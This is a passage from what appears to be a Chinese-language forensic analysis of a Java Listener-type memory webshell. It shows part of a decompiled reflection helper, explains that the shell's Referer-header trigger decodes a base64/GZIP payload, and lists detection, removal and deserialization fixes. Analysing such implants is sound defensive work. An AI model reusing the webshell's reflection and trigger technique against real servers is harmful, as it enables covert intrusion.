var2 = (HttpServletResponse)getFV(var1, "response");
} catch (Exception var5) {
}
}
return var2;
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while(var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
}
这里代码逻辑很清晰，是一个自定义的Listener，并且在处理请求时判断Referer是否包含Pcxkvhvd，包含则进入自己的逻辑（webshell）
这里对b64_str进行base64解码、GZIP解压缩还原其代码
还原出来代码如下，又是混淆过的代码，发现使用了Crypto、Cookie等，是常见的webshell逻辑
在WebUtils中应该还有将Listener注入进去的逻辑，这里不再继续分析
结论
至此可以得到以下结论
- 攻击者使用的是Listener型内存马
- 内存马连接特征为Referer包含Pcxkvhvd，过滤相关的流量可以定位攻击者
内存马清除
- 因为是jar包部署，可以通过agent技术动态清除Listener
- 重启应用
修复
- 禁用Objectdata反序列化
- 重写resolveClass，规定只能加载指定类即白名单机制